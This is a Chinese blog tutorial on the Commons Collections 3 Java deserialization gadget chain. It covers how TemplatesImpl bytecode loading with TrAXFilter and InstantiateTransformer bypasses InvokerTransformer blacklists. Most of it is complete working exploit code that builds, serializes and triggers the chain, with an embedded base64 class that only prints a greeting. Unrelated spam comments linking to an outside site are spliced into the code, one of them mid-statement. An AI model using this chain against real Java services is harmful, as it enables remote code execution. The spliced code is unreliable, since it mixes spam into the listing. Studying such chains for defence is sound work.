技术心得:反序列化Gadget学习篇五CommonCollections3

简介: 技术心得:反序列化Gadget学习篇五CommonCollections3

为什么需要CC3


在2015年前后@frohoff和@gebl发布了Talk《Marshalling Pickles: how deserializing objects will ruin your day》,以及Java反序列化利用工具ysoserial,随后引爆了安全界。开发者们自然会去找寻一种安 全的过滤方法,于是类似SerialKiller这样的工具随之诞生。


SerialKiller是一个Java反序列化过滤器,可以通过黑名单与白名单的方式来限制反序列化时允许通过的 类。在其发布的第一个版本代码中,我们可以看到其给出了最初的黑名单:


包括了CC1使用的InvokerTransformer,这也就切断了CC1的利用链,为了绕过类似工具提供的限制,随后ysoserial增加了不少新的Gadgets,其中就包括CommonsCollections3。


另外一个原因是,CC3使用了TemplatesImpl动态加载字节码的方式,可以执行任意java代码,实战意义更大,更好用。


Gadgets 构造


这部分涉及到java加载字节码的原理,参考Java中动态加载字节码的那些方法


我们先尝试用TemplatesImpl + InvokerTransformer来构造一个利用链


public static void main(String【】 args) throws Exception{


TemplatesImpl obj = new TemplatesImpl();


byte【】 code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE=");


setFieldValue(obj, "_bytecodes", new byte【】【】{code});


setFieldValue(obj, "_name", "HelloTemplatesImpl");


setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());


Transformer【】 transformers = new Transformer【】{


new ConstantTransformer(obj),


new InvokerTransformer("newTransformer", null, null)


};


Transformer transformerChain = new ChainedTransformer(transformers);


Map innerMap = new HashMap();


Map outerMap = TransformedMap.decorate(innerMap, null ,transformerChain);


outerMap.put("test","xxx");


}


假设无法使用InvokerTransformer,那么需要找替代类,CC3找到了一个搭配TemplatesImpl的类com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter,这个类并不能像transformer一样执行任意方法,但是这个类的构造方法中调用了(TransformerImpl) templates.newTransformer();


因此只要调用到TrAXFilter的构造方法,传入一个构造好的Templates即可触发。


并使用另一个transformer:org.apache.commons.collections.functors.InstantiateTransformer替换InvokerTransformer。


InstantiateTransformer也是一个实现了Transformer接口的类,他的作用就是调用构造方法。新的Transformer链如下:


Transformer【】 transformers = new Transformer【】{


new ConstantTransformer(TrAXFilter.class),


new InstantiateTransformer(new Class【】 {Templates.class} , new Object【】{obj})


};


当然也可以替换为lazymap或者CC6的触发方式,完成版本通杀


补充完整,用序列化触发,复习一下前面的内容,HashMap不能序列化,需要用sun.reflect.annotation.AnnotationInvocationHandler,来封装


完整代码:


public static void main(String【】 args) throws Exception{


TemplatesImpl obj = new TemplatesImpl();


byte【】 code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE=");


setFieldValue(obj, "_bytecodes", new byte【】【】{code});


//代码效果参考:http://hnjlyzjd.com/xl/wz_24894.html

setFieldValue(obj, "_name", "HelloTemplatesImpl");

setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());


Transformer【】 fakeTransformers = new Transformer【】 {new ConstantTransformer(1)};


Transformer【】 transformers = new Transformer【】{


new ConstantTransformer(TrAXFilter.class),


new InstantiateTransformer(new Class【】 {Templates.class} , new Object【】{obj})


};


Transformer transformerChain = new ChainedTransformer(fakeTransformers);


Map innerMap = new HashMap();


innerMap.put("value", "xxx");


Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);


Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");


Constructor constructor = //代码效果参考:http://hnjlyzjd.com/hw/wz_24892.html

clazz.getDeclaredConstructor(Class.class, Map.class);

constructor.setAccessible(true);


// 注意这里Retention.class 和上面innerMap.put("value", "xxx")的关联


InvocationHandler handler = (InvocationHandler)constructor.newInstance(Retention.class, outerMap);


setFieldValue(transformerChain, "iTransformers", transformers);


// =================


// 生成序列化字符串


ByteArrayOutputStream bos = new ByteArrayOutputStream();


ObjectOutputStream oos = new ObjectOutputStream(bos);


oos.writeObject(handler);


oos.close();


// 本地反序列化


ObjectInputStream bis = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));


bis.readObject();


}


```


为什么需要CC3Gadgets 构造


EOF


本文作者: ChanGeZ 本文链接: 关于博主: 评论和私信会在第一时间回复。或者直接私信我。 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处! 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。

相关文章
|
6天前
|
XML 机器学习/深度学习 存储
技术心得:对象的序列化存入数据库,与反序列化
技术心得:对象的序列化存入数据库,与反序列化
|
2月前
|
存储 算法 Java
从零开始学习 Java:简单易懂的入门指南之IO序列化、打印流、压缩流(三十三)
从零开始学习 Java:简单易懂的入门指南之IO序列化、打印流、压缩流(三十三)
|
2月前
|
分布式计算 Java 大数据
IO流【Java对象的序列化和反序列化、File类在IO中的作用、装饰器模式构建IO流体系、Apache commons-io工具包的使用】(四)-全面详解(学习总结---从入门到深化)
IO流【Java对象的序列化和反序列化、File类在IO中的作用、装饰器模式构建IO流体系、Apache commons-io工具包的使用】(四)-全面详解(学习总结---从入门到深化)
66 0
|
2月前
|
存储 JSON 编解码
IM通讯协议专题学习(十):初识 Thrift 序列化协议
本文将带你一起初步认识Thrift的序列化协议,包括Binary协议、Compact协议(类似于Protobuf)、JSON协议,希望能为你的通信协议格式选型带来参考。
91 1
|
9月前
|
存储 JSON 安全
【Java基础】常用序列化技术与方式
【Java基础】常用序列化技术与方式
34 0
|
11月前
|
存储 JSON JavaScript
【从零学习python 】55.Python中的序列化和反序列化,JSON与pickle模块的应用
【从零学习python 】55.Python中的序列化和反序列化,JSON与pickle模块的应用
75 0
|
11月前
|
存储 缓存 分布式计算
Spark学习--3、WordCount案例、RDD序列化、RDD依赖关系、RDD持久化(二)
Spark学习--3、WordCount案例、RDD序列化、RDD依赖关系、RDD持久化(二)
|
11月前
|
存储 缓存 分布式计算
Spark学习--3、WordCount案例、RDD序列化、RDD依赖关系、RDD持久化(一)
Spark学习--3、WordCount案例、RDD序列化、RDD依赖关系、RDD持久化(一)
|
11月前
|
分布式计算 资源调度 Hadoop
Hadoop基础学习---5、MapReduce概述和WordCount实操(本地运行和集群运行)、Hadoop序列化
Hadoop基础学习---5、MapReduce概述和WordCount实操(本地运行和集群运行)、Hadoop序列化
|
12月前
|
存储 前端开发 数据库
【Django学习】(十)模型序列化器_关联字段序列化
【Django学习】(十)模型序列化器_关联字段序列化
【Django学习】(十)模型序列化器_关联字段序列化